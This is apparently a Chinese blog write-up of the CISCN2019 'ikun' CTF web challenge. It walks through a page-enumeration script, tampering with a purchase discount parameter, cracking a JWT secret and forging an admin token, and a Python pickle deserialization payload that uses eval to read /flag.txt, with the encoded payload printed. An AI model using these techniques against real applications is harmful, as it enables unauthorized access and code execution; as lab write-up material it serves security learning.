[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun


先注册账号,然后看下坤坤的精彩表演 😄

提示我们要找到lv6去购买,写个脚本找一下在哪个页面

import requests
url="http://161d322b-3fc2-4122-9369-87030d3ac025.node3.buuoj.cn/shop?page="
for i in range(0,2000):
	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

发现在page=181,定位过去,找到lv6的购买页面

image-20200804163837445

点击购买,抓个包,发现有discount,修改discount=0.00000000000001(不能为0,小一点就好了),这样就买得起了

image-20200804165313980

告诉我们一个Location:/b1g_m4mber,然后提示我们只有admin才可以访问


发现包内有JWT签名,学习一下JWT的一些内容

https://cloud.tencent.com/developer/article/1620770

JWT在CTF中的问题

使用c-jwt-crack爆破一下密钥

在这里说一下如何使用c-jwt-crack(更多细节内容可以去看我的上一篇博客,这里贴一下地址https://www.cnblogs.com/LEOGG321/p/13434491.html)

apt-get install libssl-dev
先安装这个依赖库,然后在文件夹内使用make命令,即可生成jwtcrack

使用jwtcrack解密

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q

image-20200804182024674

去https://jwt.io/上伪造一份admin的签名

image-20200804153721822

伪造后的签名为

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

修改jwt后登录为admin,查看源代码,发现有泄露

image-20200804182535226

关键代码是admin.py

python反序列化

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化, pickle序列化后的数据,可读性差,人一般无法识别。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式 pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

Pickle模块中最常用的函数为:

(1)pickle.dump(obj, file, [,protocol])

函数的功能:将obj对象序列化存入已经打开的file中。

参数讲解:

obj:想要序列化的obj对象。

file:文件名称。

protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(2)pickle.load(file)

函数的功能:将file中的对象序列化读出。

参数讲解:

file:文件名称。

(3)pickle.dumps(obj[, protocol])

函数的功能:将obj对象序列化为string形式,而不是存入文件中。

参数讲解: obj:想要序列化的obj对象。

protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

(4)pickle.loads(string)

函数的功能:从string中读出序列化前的obj对象。

参数讲解:

string:文件名称。

【注】dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。

而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

这里的become先进行一次url解码,再进行pickle反序列化
构造一下pickle反序列化,用python2.7跑,这里我还遇到了一个小坑,我把文件命名为pickle.py,这样就导致了'module' object has no attribute 'dumps'

**牢记:不要用库名作为文件名 **

# coding:utf-8 
#version:python2.7
import pickle
import urllib

class Test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()" ,))

a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

一键成为大会员,抓包,修改become的值,找到flag

image-20200804200508143

posted @ 2020-08-04 20:20  LEOGG  阅读(203)  评论(0编辑  收藏  举报